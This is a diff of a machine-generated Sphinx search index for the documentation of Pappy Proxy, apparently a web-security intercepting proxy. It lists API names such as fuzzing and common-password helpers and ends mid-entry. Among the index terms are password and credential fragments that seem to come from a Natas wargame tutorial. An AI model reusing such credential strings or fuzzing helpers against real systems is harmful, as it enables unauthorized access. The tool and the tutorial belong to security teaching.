5,1,""],fuzz_xss:[4,5,1,""]},"pappyproxy.macros":{FileInterceptMacro:[4,2,1,""],InterceptMacro:[4,2,1,""],Macro:[4,2,1,""],load_macros:[4,5,1,""]},"pappyproxy.plugin":{active_intercepting_macros:[4,5,1,""],add_intercepting_macro:[4,5,1,""],add_req:[4,5,1,""],all_reqs:[4,5,1,""],in_memory_reqs:[4,5,1,""],main_context:[4,5,1,""],plugin_by_name:[4,5,1,""],remove_intercepting_macro:[4,5,1,""],run_cmd:[4,5,1,""]},"pappyproxy.util":{PappyException:[4,7,1,""],printable_data:[4,5,1,""]},pappyproxy:{comm:[4,0,0,"-"],config:[4,0,0,"-"],console:[4,0,0,"-"],context:[4,0,0,"-"],http:[4,0,0,"-"],iter:[4,0,0,"-"],macros:[4,0,0,"-"],pappy:[4,0,0,"-"],plugin:[4,0,0,"-"],proxy:[4,0,0,"-"],repeater:[4,0,0,"-"],session:[4,0,0,"-"],util:[4,0,0,"-"]}},objnames:{"0":["py","module","Python module"],"1":["py","data","Python data"],"2":["py","class","Python class"],"3":["py","method","Python method"],"4":["py","attribute","Python attribute"],"5":["py","function","Python function"],"6":["py","staticmethod","Python static method"],"7":["py","exception","Python exception"]},objtypes:{"0":"py:module","1":"py:data","2":"py:class","3":"py:method","4":"py:attribute","5":"py:function","6":"py:staticmethod","7":"py:exception"},terms:{"507cf258a5240":5,"__cfduid":5,"_autocomplete_nam":[2,3],"_request":5,"break":[3,5],"byte":5,"case":[2,4,5],"catch":3,"char":5,"class":[2,4],"default":[2,4,5],"export":2,"import":[2,3,5],"int":2,"long":[2,3,5],"new":[2,3],"return":[2,3,4,5],"short":2,"static":4,"switch":3,"throw":2,"true":[2,4,5],"try":[2,3,4,5],"while":[2,5],abc123456:2,abc123:[2,5],abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz01234567890:5,abl:[2,5],about:[2,3,4,5],accept:[2,5],access:[2,4],accident:2,accord:2,accur:2,across:2,act:[2,5],action:[2,3],activ:[2,4],active_filt:4,active_intercepting_macro:4,active_request:[3,4],actual:[3,4,5],add:[2,3,4,5],add_alia:4,add_alias:[2,3,4],add_cooki:4,add_data:4,add_filt:4,add_intercepting_macro:4,add_lin:4,add_pair:4,add_req:4,add_request:4,addit:0,admin:[2,5],advanc:[2,5],affect:4,after:[2,3,4],again:[2,3,5],agent:[2,3,5],agent_upd:3,aka:4,alia:[3,4],alias:2,alias_list:4,alic:[2,3],alieas:3,aliv:[2,5],all:[2,3,4,5],all_pair:4,all_req:4,all_val:4,alli:[2,3],allow:[2,4,5],allow_speci:4,along:4,alphabet:5,alreadi:[2,4,5],alright:5,also:[2,3,4,5],alwai:[2,3],ani:[2,3,4,5],anonymous:5,anoth:2,answer:[4,5],anyth:[2,3,4,5],anywai:[2,5],anywher:[2,3,5],apach:5,api:[0,2],appear:[3,5],append:4,appli:[2,3,4,5],applic:[2,5],appropri:4,aren:[2,3],arg:[2,3,4,5],argument:2,around:[2,3],ascii:5,ask:[2,4],assign:4,associ:[2,4],assum:[2,3],async:[3,4],async_deep_sav:[2,3,4],async_mangle_request:2,async_sav:4,async_set_tag:4,async_submit:4,attempt:3,attribut:[2,3,4,5],authent:5,author:[2,5],autocomplet:2,autocomplete_func:4,autom:[2,5],automat:[2,4],avail:3,avoid:[2,3,4],awai:[2,3],awesom:[3,5],b64e:2,back:[4,5],bad:2,ball:5,bar:[2,3,4],bare:2,base64:[2,4],base64encod:2,base:[4,5],basic:[2,5],bat:5,baz:[2,3,4],beautifulsoup4:4,beautifulsoup:4,becaus:[2,3,4,5],been:4,befor:[2,4],begidx:[2,3],begin:[2,3,5],behavior:4,besid:3,best:3,better:[2,3],between:[2,3],bill:5,binari:4,bind:[2,3],bit:2,blank:[2,5],blatant:5,blind:5,blob:4,block:3,bmf0yxm0olo5dgtsa1dtchq5uxi3whjsnwpxumtnt1u5mdfzd0va:5,bmf0yxmxntpbd1dqmhc1y3z4clppt05nwjlknxn0tlzrbxhkazm5sg:5,bodi:[2,4,5],body_complet:4,body_pretti:4,bool:[2,4],boom:5,bore:2,bot:2,bound:[2,3,5],brave:2,brows:0,browser:0,brute:5,buffer:[2,5],bug:2,bugfix:2,buggi:2,build:[2,4],built:0,builtin_filt:2,butt:2,cach:[2,5],call:[2,3,4,5],callback:[2,3],came:5,cannot:[2,3,4],capit:4,carriag:4,case_insensit:4,cat:2,categor:2,caught:2,caus:4,cert:0,cert_dir:[2,4],certain:5,certif:[2,3,5],chain:3,challeng:5,chanc:3,chang:[2,3,4,5],changelog:0,charact:[4,5],check:[2,5],check_char:5,child:4,choos:2,claim:4,cleanup:5,clear:[2,4],clearer:2,click:[2,5],client:5,clone:[2,5],cloud:2,clrtag:2,cmd2:[3,4],cmd:[2,3,4],cmd_dict:4,code:[2,3,4,5],codebas:2,coldata:4,color:4,column:[2,4,5],com:[2,4,5],come:[4,5],comm:1,comma:2,command:0,common:4,common_password:4,common_usernam:4,commonli:5,comparer1:2,comparer2:2,comparison:2,compat:2,complain:[2,5],complet:[2,3,4,5],complete_hello_world:[2,3],complex:5,complic:[2,3,5],conclus:0,condit:[2,5],config:[1,2,3],config_dict:3,configur:0,confirm:4,conform:[2,4],confus:2,connect:[2,5],connectionpool:4,consid:[2,3,5],consol:[1,2,3],construct:[2,5],contact:4,contain:[2,3,4,5],containr:2,containsr:[2,5],content:[0,1,2],context:[0,1],contribut:0,control:[2,5],cooki:[2,4,5],cookie_str:4,cool:2,copi:[2,3,4,5],core:[2,3],correct:5,correctli:2,could:[2,3,4],couldn:3,cours:3,cover:5,crash:2,creat:[0,2],cred:[3,5],crochet:3,crt:[2,5],css:[2,5],ctr:[2,5],current:[2,3,4,5],cursor:[2,5],custom:2,data:2,data_dir:[3,4],data_fil:2,data_kei:3,databas:2,datadir:[2,4],datafil:[2,3,4,5],date:5,datetim:[2,4],db41e9d9b4a13cc3ef4273055b71996fb1450464664:5,deactiv:4,deal:[3,5],debug:[2,4],debug_dir:[2,4],dec:5,decid:[2,5],decod:2,decrypt:2,dedic:[2,3],deep_delet:4,def:[2,3,5],defer:2,defin:[2,3,5],definit:[2,4],deflat:[2,5],delet:[2,4,5],delete_cooki:4,delta:2,depend:[3,4],describ:2,descript:2,design:2,destin:2,detail:[2,3],determin:2,dict:[2,3,4],dictionari:[2,3,4,5],did:2,didn:[2,5],differ:[2,3,5],dir:2,directli:[4,5],directori:[2,3,4,5],dirti:2,disk:2,displai:[2,4,5],dist:3,div:5,do_func:4,doabl:5,doc:[2,3],docstr:3,doesn:[2,3,4,5],domain:[2,4],don:[2,3,4,5],done:[2,3,5],doubl:[2,5],down:2,download:2,drop:2,dubug:2,due:2,dump:2,dump_respons:2,dunno:2,duplic:4,dure:[2,3],dust:2,each:[2,3,4,5],eader:2,earli:2,easi:[2,5],easier:2,easiest:3,edit:[2,3,4,5],editor:[2,5],either:[2,4,5],element:3,els:[2,3,5],email:2,empti:2,encod:[2,4,5],encrypt:3,end:[2,3,4,5],endidx:[2,3],engag:5,enough:3,enter:[2,3,5],entir:[2,5],entri:3,environ:5,equal:2,error:[2,3,4,5],escap:5,esr1:[2,5],etag:5,etc:[2,4,5],even:[2,3,4,5],ever:[4,5],everi:[2,4,5],everyth:[2,4,5],exact:2,exactli:5,exampl:[0,2],except:[2,3,4],exist:[2,3,4,5],exit:2,expand:3,expect:2,expir:4,explain:[3,5],explicitli:2,express:5,extens:5,extra:4,extrem:2,fakewebsit:4,fals:[4,5],fame:4,faq:0,far:5,favicon:5,favorit:5,fbi:2,featur:0,feedback:5,few:2,figur:[3,5],file:[2,3,4,5],fileinterceptmacro:4,filenam:[2,4],filt:4,filter:0,filter_clear:[2,5],filter_list:2,filter_prun:2,filter_str:4,filter_up:[2,4],find:[2,3,4],finder:5,fine:5,fire:[4,5],first:[2,3,4,5],fix:[2,3],flag:4,flush:5,folder:[3,4],follow:[2,5],foo:[2,3,4,5],fooooo:5,fooooooo:5,format:[2,4,5],forward:[2,5],found:[2,3,4,5],foxyproxi:5,fragment:[2,4],fri:5,from_dict:4,from_filter_str:[3,4],from_json:4,from_pair:4,full:[2,4,5],full_messag:4,full_message_pretti:4,full_path:[2,4],full_request:[2,4],full_respons:[2,4],fulli:3,func:[3,4],funky:2,futur:[2,3],fuzz:4,fuzz_path_trav:4,fuzz_sqli:4,fuzz_xss:4,gecko:[2,5],gencert:[2,5],gener:0,generate_int_macro:2,generate_macro:2,get:[0,2],get_data:3,get_metadata:4,get_plugin_dict:3,get_request:[2,4,5],getter:4,gif:[2,5],gima:2,git:[2,5],github:[2,3,5],give:[2,3,4,5],given:[2,4,5],global:[2,3],gma:[2,5],gmt:5,goe:5,golden:5,good:[2,3],googl:[2,3,4,5],googlebot:2,got:5,great:5,greater:2,grep:5,guess:[2,3],gzip:[2,5],hack:2,hacker:2,hackthensa:2,had:[2,3,5],haha:5,hairi:5,hand:5,handl:[2,3,5],handle_head:4,handle_start_lin:4,handler:4,hang:5,happen:2,happi:2,hard:[2,5],harder:3,hat:3,haven:5,head:[2,4],header:[2,3,4,5],headers_complet:4,headers_end:4,headers_sect:4,headers_section_pretti:4,heart:2,hello:2,hello_world:[2,3],helper:4,here:[2,3,4,5],high:2,highlight:3,hint:5,histori:[3,4],hit:3,hlo:[2,3],home:[3,5],hook:[2,3],hop:5,hopefulli:[2,3,5],host:[2,3,4,5],hostnam:5,how:0,howev:[2,3,4],html:[2,4,5],htnsa:2,http:[1,2,3],http_onli:4,httpmessag:4,httponli:4,ico:5,icon:5,idea:2,identifi:[2,4],idiot:2,iew:2,ignor:2,imag:2,image2:5,img:5,implement:[3,4],improv:2,in_memory_req:4,in_memory_request:4,inactive_request:4,includ:[2,4,5],inconveni:2,index:[0,3,5],inevit:2,info:[2,3,4],inform:[2,4,5],init:[2,4],initi:4,inject:5,inlin:[2,3],input:3,insensit:4,insert:[4,5],insid:4,instal:0,instanc:[3,4],instead:[2,3,4],instruct:2,int_adminplz:2,int_cloud2butt:2,int_donoth:2,int_nam:2,int_replac:2,integ:[2,4],integr:2,intend:3,interact:[2,3,4],intercept:0,interceptingmacro:2,interceptmacro:4,interceptor:0,interfac:[2,4],intern:3,introduct:0,intrud:2,invok:4,involv:2,is_ssl:[2,4],isn:[2,3,4],issu:2,item:[2,4,5],iter:[1,2,3],javascript:2,join:[2,3],jpg:[2,5],jqueri:5,json:[2,4,5],json_str:4,just:[2,3,4,5],keep:[2,3,4,5],kei:[2,3,4,5],keybind:2,keychain:[2,5],kind:2,know:[2,3,5],kwarg:[3,4],lab:5,label:2,languag:[2,5],last:[3,4,5],later:3,lazi:5,lead:3,leader:[2,5],learn:[3,5],least:3,leav:2,left:[2,5],len:[2,5],length:[2,4,5],leq:2,less:2,let:[2,3,4,5],level:[2,5],lgt:2,lib:3,librari:3,lie:5,lihtyur:[2,3],lim:2,limit:[2,3,5],line:[2,3,4,5],linux:[2,5],list_int_macro:2,listen:[2,3,5],lite:0,littl:2,llt:2,lma:[2,5],load:[2,3,4,5],load_all_request:4,load_cmd:[2,3],load_macro:[2,4],load_reqlist:[3,4],load_request:[3,4],load_requests_by_tag:4,load_respons:4,loalhost:5,loc:4,local:3,localhost:[2,5],locat:[2,4],log:0,loop:[2,5],lost:2,lot:[2,3,5],lsim:2,luckili:[3,5],mac:2,machin:2,macro:[0,1],macro_:2,macro_blank:2,macro_brut:5,macro_googlebot:2,macro_hackthensa:2,macro_nam:[2,5],macro_print:2,macro_sexi:2,macro_test:2,macro_testgen:2,made:[2,4,5],mai:[2,3,4,5],main:[2,4],main_context:[3,4],mainli:3,maintain:[2,3,4],make:[2,3,4,5],mallori:[2,3],manag:[2,5],mange_respons:2,mangl:[2,4,5],mangle_request:2,mangle_respons:2,map:2,match:[2,3,4,5],max:[4,5],max_ag:4,maximum:4,mean:[3,5],meant:2,memori:4,mess:2,messag:[2,3,4,5],meta:4,method:[2,4],might:[2,3],mine:[2,3],minimum:2,miss:2,mkdir:[2,5],mngl:[2,5],mode:0,modif:[2,3],modifi:[2,3,4,5],modul:[0,1],more:2,most:[2,3,5],mostli:2,move:5,mozilla:[2,5],much:[3,5],must:[2,3,4,5],name:[2,3,4,5],natas0:5,natas15:5,natas16:5,natas1:5,natas2:5,natas3:5,natas4:5,natas5:5,natas9:5,natas_webpass:5,navig:5,ncontain:2,need:[2,3,4,5],needl:5,negat:2,neither:2,nerd:3,netscap:[2,5],never:2,newlin:4,next:[4,5],nice:4,nich:3,non:[3,4],none:[2,3,4,5],nonexist:2,nor:2,normal:[2,3,4],not_imag:2,not_jscss:2,note:[2,5],noth:[2,5],notic:5,nov:[2,5],now:[2,3,4,5],nsa:2,num:2,number:[2,5],numer:2,obvious:2,off:[2,3,4,5],offici:2,often:2,onc:[2,5],onecmd:3,onecmd_plus_hook:3,onli:[2,3,4,5],open:[2,5],option:[2,3,4,5],ord:5,order:[2,3,4,5],org:[2,5],origin:[2,4],other:[2,4,5],otherwis:[2,4],our:[3,5],out:[2,3,4],output:[4,5],outsid:[2,3,4],over:[2,3,4,5],overridden:4,overthewir:5,overview:2,overwrit:[2,5],own:[2,3,4,5],packag:[1,3],page:[0,5],pair:[2,4],pappy_dir:4,pappyexcept:[3,4],pappynata:5,param:[2,4,5],paramet:[2,4,5],pars:[3,4],part:[2,3,4,5],password123:2,password:[2,4],patch:2,path:[2,4,5],path_part:4,path_tupl:4,payload:5,peopl:3,perform:[2,4],period:4,perman:5,php:[2,4,5],phrase:5,pip:[2,5],pixel:5,place:[2,3,4],plai:4,plaintext:2,pleas:[2,4],plu:[2,3],plugin:[0,1],plugin_by_nam:4,plugin_data:[3,4],plugindata:3,png:5,point:[2,5],pons:2,pool:4,port:[2,3,4,5],portion:[2,4],posit:[3,5],possibl:[2,3],post:[2,4,5],post_param:[2,4,5],post_request:[2,4,5],power:[2,3],pragma:2,pramet:5,pre:5,prefer:[2,5],prefix:[2,3,5],prepend:2,present:[2,4],press:[2,5],pretend:3,pretti:5,previou:2,print:[2,3,4,5],print_host:3,print_request:4,print_tabl:4,printabl:4,printable_data:4,privat:[2,5],pro:5,probabl:[2,3,4,5],process:2,profession:2,project:[2,3,4,5],project_config:2,promis:2,prompt:[2,5],prone:2,protocol:4,provid:[3,4],proxy_listen:2,proxycmd:4,purpos:2,put:[2,3,4,5],put_on_rope_and_wizard_hat:3,pypi:5,python2:3,python:[2,3],queri:5,queue:5,quick:[2,3,5],quickli:5,quickstart:0,quit:[2,5],quot:[2,5],rais:4,random:2,rang:5,rather:[3,4],raw:[2,4],raw_data:[2,4,5],raw_head:[2,4,5],rawhead:2,read:[3,4,5],readabl:[3,5],readm:2,real:[2,3,5],realli:[2,3],reason:3,recent:[2,3,5],record:0,recreat:4,recurs:[2,5],refactor:2,refer:[2,3,5],refresh:5,regexp:[2,5],regular:[2,5],regularli:[2,3],reli:3,reload:[2,3],rememb:[4,5],remind:3,remov:[2,3,4,5],remove_intercepting_macro:4,remove_request:4,repeat:[0,1],repeatabledict:[2,4,5],repeatersubmitbuff:2,replac:[2,4],repres:[2,4,5],req0:[2,5],req1:5,req:[2,3,4,5],reqid:[2,3,4,5],request:0,request_by_id:2,requir:[2,4,5],reserved_meta_kei:4,reset:[2,4,5],reset_metadata:4,respons:0,response_cod:[2,4],response_text:[2,4],responsecod:2,responsecooki:4,respos:5,rest:5,restart:[3,4],restor:2,resubmit:2,result:[2,3,4],retain:4,reusabl:[2,3],right:[2,3,4,5],rim:2,rippoff:2,rma:[2,5],robe:3,robe_and_wizard_hat:3,robot:5,roglew:[2,5],root:2,rough:2,round:5,row:4,rox:2,roxi:2,rpy:2,rsp:[2,5],rspid:[2,4],rsptime:[2,4],rule:[2,5],run:[2,3,4,5],run_cmd:4,run_int_macro:2,run_macro:[2,5],runarg:2,s123:4,s3cr3t:5,sai:[2,3,5],said:2,same:[2,3,4,5],sane:2,sarah:[2,3],save:[2,3,4,5],scaryhack:2,schema:3,sck:2,scope:0,scope_delet:2,scope_list:2,scope_reset:2,scope_sav:[2,5],screen:5,script:[2,3,4,5],search:[0,2,5],second:[2,3],secret:2,section:[2,5],secur:[2,3,4],see:[2,3,4,5],select:[2,5],self:[3,4],semi:3,send:[2,3,4,5],sens:5,sensit:[3,5],sent:[2,4,5],sentcooki:2,separ:2,sequenc:3,seri:4,server:[2,5],session:[1,2,3],set:[0,2,3,4],set_cmd:[2,3,4],set_cooki:4,set_cookie_kv:4,set_cookie_str:4,set_filt:4,set_metadata:4,set_tag:[2,4,5],set_val:4,setcooki:2,settabl:2,setter:4,setup:2,sexi:[2,5],shlex:[2,3],short_nam:[2,5],shortcut:2,shortnam:2,shouldn:5,show:[2,5],shown:2,shut:5,sign:[2,5],sim:2,similar:[2,3],similarli:2,simpl:[2,3,5],simpli:2,sinc:[2,3,4,5],singl:2,site:[2,5],site_map:2,skynet:2,slagathor:[2,3],slap:3,slayer:2,slight:5,snip:5,snowflak:3,solv:5,some:[2,3,4,5],someth:[2,3,4,5],somewhat:3,somewher:4,sorri:[2,5],sort:4,sound:2,soup:4,sourc:[2,5],space:2,specif:[2,3],specifi:[2,5],split:[2,3,5],spoil:5,sql:[4,5],sqlite:[4,5],src:5,ssl:[2,4,5],stabl:2,stage:2,start:[2,3,4],start_lin:4,startswith:[2,3],state:[2,3],statement:3,statu:[2,4],status_lin:[2,4],statuscod:2,stck:2,stdout:5,stomp:2,stop:[2,3,4,5],stop_int_macro:2,storag:4,store:2,straight:2,strang:4,strikeout:2,string:0,structur:3,stuff:[2,3,4],style:4,submit:[2,4,5],submit_new:4,submodul:1,subpackag:1,substitut:[2,5],substr:[2,5],successfulli:4,suck:5,suggest:[3,4,5],suit:2,sumbit:2,supahack:3,supersess:2,support:[2,5],suppos:[2,3],sure:[2,3,4,5],surpris:2,surround:5,suspici:5,sweet:3,swf:2,switchysharp:5,system:[2,5],tab:[2,3],tag:0,take:[2,3,4,5],talk:3,target:[2,5],technic:2,tediu:2,tell:[2,3,5],temporari:[2,3,5],termin:4,test:[2,3],test_project:2,testgen:2,text:[2,3,4,5],than:[2,3,4],thei:[2,3,4,5],them:[2,3,4,5],themselv:3,thi:[2,3,4,5],thing:[2,3,4,5],think:2,those:[2,3,5],though:[2,5],through:[2,3,4,5],throughout:2,thu:2,time:[2,3,4,5],time_end:[2,4],time_start:[2,4],timedelta:4,timeout:[3,5],tmp1myw6q:3,tmp3j97re:3,tmp5aqbrh:5,tmp:[2,3,5],tmpboxyj3:[2,3],tmpw4mgv2:2,tmpyl2cez:3,to_check:5,to_json:4,to_load:4,token:2,ton:2,too:[2,5],took:2,tool:[2,3],total:2,touch:5,traceback:[2,3,4],track:[4,5],traffic:2,trail:4,transfer:4,travers:4,treat:4,tree:2,tricki:5,troubl:2,truncat:4,trust:2,ttack:2,tupl:[3,4],turn:2,tutori:[0,2,3],tweak:5,twice:3,twist:[2,3,4],two:2,txt:5,type:[2,3,4,5],typeerror:3,u123:4,u12:5,uber:3,ubuntu:5,uest:2,ull:2,ultra:2,ultrasess:2,unauthor:5,undefin:2,under:[2,3,4],unencrypt:3,unfortun:[3,5],unintuit:2,uniqu:4,unless:[2,3],unlimit:4,unmanbl:4,unmangl:[2,4,5],unprint:4,untag:2,until:2,untouch:2,updat:[3,4,5],update_agent_metadata:3,update_content_length:4,update_from_bodi:4,update_from_head:4,upon:3,upstream:2,url:[2,4,5],url_param:[2,4],urlencod:5,usag:3,useless:2,user:[2,3,4,5],usernam:[2,4,5],usr:3,util:[1,3],val:4,valid:[2,5],valid_char:5,valu:[2,3,4,5],value1:2,value2:2,vari:5,variabl:[2,4,5],variat:5,verb:[2,4,5],verbos:2,verbosisti:2,veri:2,versa:3,version:[2,3,4,5],vertic:[2,5],vfq:[2,5],vhq:2,via:4,vice:3,view:[2,5],view_ag:3,view_full_request:2,view_full_respons:2,view_request_head:2,view_request_info:2,view_response_head:2,vim:[2,5],vimrc:2,viq:2,visit:[2,5],vitali:[2,5],vitaly2:[2,5],wai:[2,3,4,5],waih:5,waiheacj63wnnibroheqi3p9t0m5nh:5,waiheacj63wnnibroheqi3p9t0m5nhm:5,waiheacj63wnnibroheqi3p9t0m5nhmh:5,wait:2,wait_for:3,want:[2,3,4,5],warn:3,watch:2,web:2,websit:[2,3,5],wechal:5,weird:3,well:[3,4],were:[2,4,5],weren:5,what:[2,3,4,5],whatev:[2,5],wheel:2,when:[2,3,4,5],whenev:3,where:[2,3,4,5],wherev:4,whether:[2,4],which:[2,3,4,5],whichev:2,whitespac:3,whose:5,wide:3,width:4,window:[2,5],without:[2,3,5],wizard:3,wizard_hat:3,won:[3,4,5],woo:5,word:5,work:[2,3,5],world:2,worri:[3,5],worth:[2,3],would:[2,3,4],wow64:[2,5],wrapper:3,write:0,written:4,wrote:[2,5],www:[2,4,5],xhtml:[2,5],xml:[2,5],xss:4,yai:5,yet:[2,5],yield:3,you:[2,3,4,5],your:0,yourself:[2,3]},titles:["Welcome to Pappy Proxy’s documentation!","pappyproxy","The Pappy Proxy","Writing Plugins for the Pappy Proxy","pappyproxy package","The Pappy Proxy Tutorial"],titleterms:{"function":[2,3],addit:2,alias:3,anoth:3,api:3,argument:3,autocomplet:3,both:2,brows:2,browser:[2,5],built:[2,3],burp:2,can:2,cert:[2,5],changelog:2,chrome:[2,5],comm:4,command:[2,3],compar:2,conclus:5,config:4,configur:[2,5],consol:4,content:[3,4,5],context:[2,4],contribut:2,creat:3,custom:3,data:3,defer:3,disabl:2,disk:3,document:0,doe:2,enabl:2,exampl:3,explor:[2,5],faq:2,featur:2,few:5,field:2,filter:[2,5],find:5,firefox:[2,5],form:2,from:2,gener:2,get:[3,5],have:2,hello:3,help:3,how:[2,5],http:4,indic:0,inlinecallback:3,instal:[2,5],intercept:2,interceptor:[2,3],interest:2,internet:[2,5],introduct:[2,3,5],iter:4,later:5,like:2,list:2,lite:2,log:2,look:2,macro:[2,3,4],merg:3,metadata:3,mode:2,modul:4,more:3,multipl:2,nata:5,object:2,out:5,packag:4,pappi:[0,2,3,4,5],pappyproxi:[1,4],pass:[2,3],password:5,plugin:[2,3,4],proxi:[0,2,3,4,5],quickstart:2,record:2,repeat:[2,3,4],request:[2,3],respons:2,safari:[2,5],scope:[2,5],session:4,set:5,should:[2,3],skip:5,special:2,start:5,still:2,store:3,stream:2,string:2,submodul:4,subpackag:4,tabl:[0,3,5],tag:2,test:5,tutori:5,util:4,welcom:0,why:2,world:3,write:[2,3],your:[2,3,5]}}) \ No newline at end of file +Search.setIndex({envversion:46,filenames:["contributing","index","modules","overview","pappyplugins","pappyproxy","tutorial"],objects:{"":{pappyproxy:[5,0,0,"-"]},"pappyproxy.config":{PappyConfig:[5,1,1,""]},"pappyproxy.config.PappyConfig":{archive:[5,5,1,""],cert_dir:[5,5,1,""],config_dict:[5,5,1,""],crypt_dir:[5,5,1,""],crypt_file:[5,5,1,""],crypt_session:[5,5,1,""],data_dir:[5,5,1,""],datafile:[5,5,1,""],debug_dir:[5,5,1,""],global_config_dict:[5,5,1,""],http_proxy:[5,5,1,""],listeners:[5,5,1,""],pappy_dir:[5,5,1,""],plugin_dirs:[5,5,1,""],salt_len:[5,5,1,""],save_history:[5,5,1,""],socks_proxy:[5,5,1,""]},"pappyproxy.console":{ProxyCmd:[5,1,1,""]},"pappyproxy.console.ProxyCmd":{add_alias:[5,2,1,""],add_aliases:[5,2,1,""],set_cmd:[5,2,1,""],set_cmds:[5,2,1,""]},"pappyproxy.context":{Context:[5,1,1,""],Filter:[5,1,1,""],async_set_tag:[5,4,1,""],set_tag:[5,4,1,""]},"pappyproxy.context.Context":{add_filter:[5,2,1,""],filter_up:[5,2,1,""],set_filters:[5,2,1,""]},"pappyproxy.context.Filter":{from_filter_string:[5,6,1,""]},"pappyproxy.http":{HTTPMessage:[5,1,1,""],RepeatableDict:[5,1,1,""],Request:[5,1,1,""],Response:[5,1,1,""],ResponseCookie:[5,1,1,""],async_submit_requests:[5,4,1,""],get_request:[5,4,1,""],init:[5,4,1,""],post_request:[5,4,1,""]},"pappyproxy.http.HTTPMessage":{add_data:[5,2,1,""],add_line:[5,2,1,""],body:[5,3,1,""],body_pretty:[5,3,1,""],clear:[5,2,1,""],copy:[5,2,1,""],from_json:[5,2,1,""],full_message:[5,3,1,""],full_message_pretty:[5,3,1,""],headers_section:[5,3,1,""],headers_section_pretty:[5,3,1,""],reserved_meta_keys:[5,3,1,""],to_json:[5,2,1,""]},"pappyproxy.http.RepeatableDict":{add_pairs:[5,2,1,""],all_pairs:[5,2,1,""],all_vals:[5,2,1,""],append:[5,2,1,""],clear:[5,2,1,""],from_dict:[5,2,1,""],set_val:[5,2,1,""],sort:[5,2,1,""]},"pappyproxy.http.Request":{async_deep_save:[5,2,1,""],async_save:[5,2,1,""],async_submit:[5,2,1,""],cache:[5,3,1,""],connect_request:[5,3,1,""],deep_delete:[5,2,1,""],full_path:[5,3,1,""],full_request:[5,3,1,""],get_plugin_dict:[5,2,1,""],host:[5,3,1,""],is_ssl:[5,3,1,""],load_request:[5,6,1,""],load_requests_by_tag:[5,6,1,""],load_requests_by_time:[5,6,1,""],path_tuple:[5,3,1,""],proxy_creds:[5,3,1,""],raw_data:[5,3,1,""],raw_headers:[5,3,1,""],rsptime:[5,3,1,""],save:[5,2,1,""],saved:[5,3,1,""],sort_time:[5,3,1,""],start_line:[5,3,1,""],status_line:[5,3,1,""],submit:[5,2,1,""],submit_request:[5,6,1,""],url:[5,3,1,""],url_color:[5,3,1,""]},"pappyproxy.http.Response":{add_cookie:[5,2,1,""],async_save:[5,2,1,""],delete_cookie:[5,2,1,""],full_response:[5,3,1,""],load_response:[5,6,1,""],raw_data:[5,3,1,""],raw_headers:[5,3,1,""],set_cookie:[5,2,1,""],set_cookie_kv:[5,2,1,""],soup:[5,3,1,""],start_line:[5,3,1,""]},"pappyproxy.http.ResponseCookie":{cookie_str:[5,3,1,""]},"pappyproxy.iter":{common_passwords:[5,4,1,""],common_usernames:[5,4,1,""],fuzz_path_trav:[5,4,1,""],fuzz_sqli:[5,4,1,""],fuzz_xss:[5,4,1,""]},"pappyproxy.macros":{FileInterceptMacro:[5,1,1,""],InterceptMacro:[5,1,1,""],Macro:[5,1,1,""],load_macros:[5,4,1,""],mangle_request:[5,4,1,""],mangle_response:[5,4,1,""]},"pappyproxy.pappy":{PappySession:[5,1,1,""],session:[5,5,1,""]},"pappyproxy.plugin":{active_intercepting_macros:[5,4,1,""],add_intercepting_macro:[5,4,1,""],add_to_history:[5,4,1,""],async_main_context_ids:[5,4,1,""],in_memory_reqs:[5,4,1,""],main_context_ids:[5,4,1,""],plugin_by_name:[5,4,1,""],remove_intercepting_macro:[5,4,1,""],req_history:[5,4,1,""],require_modules:[5,4,1,""],run_cmd:[5,4,1,""]},"pappyproxy.session":{Session:[5,1,1,""]},"pappyproxy.session.Session":{apply_req:[5,2,1,""],apply_rsp:[5,2,1,""],get_cookie:[5,2,1,""],get_rsp_cookie:[5,2,1,""],save_req:[5,2,1,""],save_rsp:[5,2,1,""],set_cookie:[5,2,1,""]},"pappyproxy.util":{PappyException:[5,7,1,""],confirm:[5,4,1,""],get_req_data_row:[5,4,1,""],load_reqlist:[5,4,1,""],print_request_rows:[5,4,1,""],print_requests:[5,4,1,""],print_table:[5,4,1,""],printable_data:[5,4,1,""]},pappyproxy:{comm:[5,0,0,"-"],config:[5,0,0,"-"],console:[5,0,0,"-"],context:[5,0,0,"-"],http:[5,0,0,"-"],iter:[5,0,0,"-"],macros:[5,0,0,"-"],pappy:[5,0,0,"-"],plugin:[5,0,0,"-"],proxy:[5,0,0,"-"],repeater:[5,0,0,"-"],session:[5,0,0,"-"],util:[5,0,0,"-"]}},objnames:{"0":["py","module","Python module"],"1":["py","class","Python class"],"2":["py","method","Python method"],"3":["py","attribute","Python attribute"],"4":["py","function","Python function"],"5":["py","data","Python data"],"6":["py","staticmethod","Python static method"],"7":["py","exception","Python exception"]},objtypes:{"0":"py:module","1":"py:class","2":"py:method","3":"py:attribute","4":"py:function","5":"py:data","6":"py:staticmethod","7":"py:exception"},terms:{"00000a0":3,"00000c0":3,"00000e0":3,"00001a0":3,"00001c0":3,"00001e0":3,"00002a0":3,"00002c0":3,"00002e0":3,"0a312020":3,"0a332020":3,"0a352020":3,"1b5b306d":3,"1b5b316d":3,"1b5b3334":3,"1b5b3336":3,"1b5b346d":3,"1b5b3931":3,"200a0a":3,"200a3420":3,"201b5b33":3,"20200a":3,"20200a32":3,"20200a33":3,"20200a34":3,"20201b5b":3,"2020200a":3,"2020201b":3,"2020202d":3,"20202d2d":3,"20202f63":3,"2020302e":3,"2020486f":3,"20204d6e":3,"2020532d":3,"202d2d20":3,"202f6573":3,"20302e30":3,"204c656e":3,"204d6f64":3,"204e6f74":3,"2d202020":3,"2d2d2020":3,"2e303720":3,"2e303820":3,"2e736578":3,"2f202020":3,"2f6e6574":3,"30204f4b":3,"302e3037":3,"302e3038":3,"3034204e":3,"306d2020":3,"33346d65":3,"33346d76":3,"33366d1b":3,"34204e6f":3,"34m":3,"34mconstructio":3,"34mesr1":3,"34mv":3,"352e3131":3,"356d3330":3,"35m304":3,"366d3230":3,"366d4745":3,"36m":3,"36m200":3,"36mget":3,"39316d76":3,"436f6465":3,"4745541b":3,"4c656e20":3,"4d6f6469":3,"4e6f7420":3,"4mid":3,"507cf258a5240":6,"541b5b30":3,"5b306d20":3,"5b306d2f":3,"5b33356d":3,"5b33366d":3,"616c792e":3,"6374696f":3,"652e6769":3,"65641b5b":3,"661b5b30":3,"676c2020":3,"696f6e2e":3,"6974616c":3,"6a70671b":3,"6a706720":3,"6c792e73":3,"6c79322e":3,"6d1b5b30":3,"6d20201b":3,"6d202020":3,"6d2f1b5b":3,"6d